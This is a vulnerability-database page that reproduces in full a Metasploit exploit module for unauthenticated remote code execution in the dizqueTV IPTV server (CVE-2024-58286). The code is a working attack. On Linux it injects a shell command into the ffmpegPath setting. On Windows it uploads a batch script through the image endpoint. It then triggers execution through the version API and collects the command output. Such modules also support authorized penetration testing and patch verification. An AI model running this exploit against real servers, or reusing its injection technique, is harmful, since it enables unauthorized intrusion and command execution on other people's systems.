Lucene search
+L

dizqueTV Unauthenticated Remote Code Execution

🗓️ 21 Sep 2024 00:00:00Reported by Muhammad Sulthon Nurbahari, Ahmed Said Saud Al-BusaidiType 
metasploit
 metasploit
🔗 www.rapid7.com👁 3 Views

Unauthenticated RCE in dizqueTV via ffmpegPath parameter leading to code execution.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'dizqueTV Unauthenticated Remote Code Execution',
        'Description' => %q{
          dizqueTV, a Node.js-based IPTV streaming server, is vulnerable to
          unauthenticated remote code execution via the ffmpegPath configuration
          parameter. On Linux, an attacker can inject a command into the ffmpegPath value.
          On Windows, an attacker can upload a malicious batch script through the image
          upload endpoint and set the ffmpegPath setting to the uploaded file. Requesting
          the version API triggers execution on both platforms.

          The ffmpegPath value is used by Node's child process APIs without adequate
          validation, allowing arbitrary command execution as the Node.js process user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Muhammad Sulthon Nurbahari', # Metasploit module
          'Ahmed Said Saud Al-Busaidi', # Original PoC (EDB-52079)
        ],
        'References' => [
          ['CVE', '2024-58286'],
          ['EDB', '52079'],
        ],
        'DefaultOptions' => {
          'RPORT' => 8000
        },
        'Targets' => [
          [
            'Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-09-21',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('COMMAND', [false, 'Command to execute (overrides payload if set)', '']),
      OptInt.new('MAXWAIT', [true, 'Max seconds to poll for output', 140]),
      OptInt.new('POLL_INTERVAL', [true, 'Seconds between poll attempts', 6]),
    ])
  end

  def check
    res = send_request_cgi('method' => 'GET', 'uri' => '/api/version')
    return CheckCode::Unknown('No response from target') unless res
    return CheckCode::Safe('Unexpected HTTP code') unless res.code == 200

    version = res.get_json_document['dizquetv']
    return CheckCode::Safe('The response is not from a dizqueTV server') unless version

    version = Rex::Version.new(version)
    return CheckCode::Appears("dizqueTV #{version} is vulnerable") if version == Rex::Version.new('1.5.3')
    return CheckCode::Safe("dizqueTV #{version} is patched") if version > Rex::Version.new('1.5.3')

    CheckCode::Detected("Detected dizqueTV #{version}, but this version has not been tested")
  rescue StandardError => e
    CheckCode::Unknown("Failed to determine the dizqueTV version: #{e}")
  end

  def exploit
    fail_with(Failure::BadConfig, 'MAXWAIT and POLL_INTERVAL must be greater than zero') if datastore['MAXWAIT'] <= 0 || datastore['POLL_INTERVAL'] <= 0

    @cmd = datastore['COMMAND'].empty? ? payload.encoded : datastore['COMMAND']
    @tag = Rex::Text.rand_text_hex(4)
    @output_file = "out_#{@tag}.txt"
    @script_name = "b_#{Rex::Text.rand_text_hex(6)}.bat" if target['Platform'] == 'win'

    print_status("Target: #{Rex::Socket.to_authority(rhost, rport)}")

    begin
      upload_script if target['Platform'] == 'win'
      set_ffmpeg_path
      trigger_execution
      retrieve_output
    ensure
      restore_ffmpeg_settings if @original_settings
    end
  end

  def upload_script
    print_status('Uploading payload script...')

    # Execute the command and redirect stdout and stderr beside the batch file.
    content = "@echo off\r\n"
    content << "(#{@cmd}) > \"%~dp0\\#{@output_file}\" 2>&1\r\n"

    boundary = "----#{Rex::Text.rand_text_alphanumeric(16)}"
    body = "--#{boundary}\r\n"
    body << "Content-Disposition: form-data; name=\"image\"; filename=\"#{@script_name}\"\r\n"
    body << "\r\n#{content}\r\n"
    body << "--#{boundary}--\r\n"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/api/upload/image',
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => body
    })

    fail_with(Failure::UnexpectedReply, "Upload failed (HTTP #{res&.code})") unless res&.code == 200
    print_good("Script uploaded: #{@script_name}")

    register_files_for_cleanup(".dizquetv/images/uploads/#{@script_name}")
    register_files_for_cleanup(".dizquetv/images/uploads/#{@output_file}")
  end

  def set_ffmpeg_path
    print_status('Fetching current ffmpeg settings...')

    res = send_request_cgi('method' => 'GET', 'uri' => '/api/ffmpeg-settings')
    fail_with(Failure::UnexpectedReply, 'Cannot fetch ffmpeg settings') unless res&.code == 200

    begin
      settings = res.get_json_document
    rescue StandardError
      fail_with(Failure::UnexpectedReply, 'Invalid JSON from ffmpeg-settings')
    end
    fail_with(Failure::UnexpectedReply, 'Invalid JSON from ffmpeg-settings') if settings.empty?

    @original_settings = settings.dup

    settings['ffmpegPath'] = if target['Platform'] == 'win'
                               ".dizquetv/images/uploads/#{@script_name}"
                             else
                               # FFMPEGInfo interpolates this value into `"<ffmpegPath>" -version`.
                               "\";#{@cmd};#"
                             end

    print_status('Setting the malicious ffmpegPath...')
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => '/api/ffmpeg-settings',
      'ctype' => 'application/json',
      'data' => JSON.generate(settings)
    })

    fail_with(Failure::UnexpectedReply, "Failed to set ffmpegPath (HTTP #{res&.code})") unless res&.code == 200

    # Verify the change stuck
    res2 = send_request_cgi('method' => 'GET', 'uri' => '/api/ffmpeg-settings')
    if res2&.code == 200
      updated = res2.get_json_document
      if updated['ffmpegPath'] == settings['ffmpegPath']
        print_good('ffmpegPath confirmed')
      else
        print_warning('ffmpegPath may not have been saved (lock behavior?)')
      end
    end
  end

  def trigger_execution
    print_status('Triggering command execution via /api/version...')
    res = send_request_cgi({ 'method' => 'GET', 'uri' => '/api/version' }, 5)
    @linux_output = res.get_json_document['ffmpeg'] if target['Platform'] != 'win' && res&.code == 200
  end

  def restore_ffmpeg_settings
    print_status('Restoring the original ffmpeg settings...')
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => '/api/ffmpeg-settings',
      'ctype' => 'application/json',
      'data' => @original_settings.to_json
    })
    print_warning('Failed to restore the original ffmpeg settings') unless res&.code == 200
    @original_settings = nil
  rescue StandardError => e
    print_warning("Failed to restore the original ffmpeg settings: #{e}")
  end

  def retrieve_output
    if target['Platform'] != 'win'
      if @linux_output && !@linux_output.empty?
        print_good("Command output (#{@linux_output.length} bytes):")
        @linux_output.each_line { |line| print_line(line.chomp) }
      else
        print_warning('No command output was returned (the command may have executed blindly)')
      end
      return
    end

    maxwait = datastore['MAXWAIT']
    interval = datastore['POLL_INTERVAL']
    max_attempts = maxwait / interval
    output_path = "/images/uploads/#{@output_file}"
    output_retrieved = false

    print_status("Polling for output (#{maxwait}s timeout, every #{interval}s)...")

    max_attempts.times do |i|
      sleep(interval)

      res = send_request_cgi({ 'method' => 'GET', 'uri' => output_path }, 8)
      next unless res&.code == 200

      output = res.body.to_s.strip
      next if output.empty? || output.include?('Cannot GET')

      elapsed = (i + 1) * interval
      print_good("Output retrieved @ #{elapsed}s (#{output.length} bytes):")
      output.each_line { |line| print_line(line.chomp) }
      store_loot(
        'dizquetv.command_output',
        'text/plain',
        rhost,
        output,
        @output_file,
        'dizqueTV RCE command output'
      )
      output_retrieved = true
      break
    end

    print_warning("No output retrieved within #{maxwait}s (command may have executed blindly)") unless output_retrieved
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Sep 2024 00:00Current
CVSS 49.3
EPSS0.00598
SSVC
3